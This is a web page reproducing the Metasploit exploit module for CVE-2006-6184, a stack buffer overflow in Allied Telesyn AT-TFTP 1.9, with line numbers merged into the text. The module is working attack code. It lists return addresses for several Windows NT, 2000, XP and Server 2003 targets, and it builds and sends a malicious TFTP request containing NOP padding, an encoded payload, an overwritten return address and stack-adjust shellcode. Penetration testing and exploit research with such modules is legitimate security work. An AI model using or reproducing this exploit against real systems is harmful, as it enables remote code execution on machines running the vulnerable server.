Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/tftp/attftp_long_filename.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a15request (get/write) for an overly long file name.16},17'Author' => [ 'aushack' ],18'References' =>19[20['CVE', '2006-6184'],21['OSVDB', '11350'],22['BID', '21320'],23['EDB', '2887']24],25'DefaultOptions' =>26{27'EXITFUNC' => 'process',28},29'Payload' =>30{31'Space' => 210,32'BadChars' => "\x00",33'StackAdjustment' => -3500,34},35'Platform' => 'win',36'Targets' =>37[38# Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/2439[ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ],40[ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],41[ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],42[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],43[ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],44[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],45[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],46[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],47[ 'Windows XP SP3 English', { 'Ret' => 0x7e429353 } ], # ret by c0re48[ 'Windows Server 2003', { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert49[ 'Windows Server 2003 SP2', { 'Ret' => 0x7c86a01b } ], # ret donated by Polar Bear50],51'Privileged' => false,52'DisclosureDate' => '2006-11-27'))5354register_options(55[56Opt::RPORT(69),57Opt::LHOST() # Required for stack offset58])59end6061def exploit62connect_udp6364sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)65sploit << payload.encoded66sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it.67sploit << "\x83\xc4\x28\xc3" # <-- esp = add esp 0x28 + retn68sploit << "\x00" + "netascii" + "\x00"6970udp_sock.put(sploit)7172disconnect_udp73end74end757677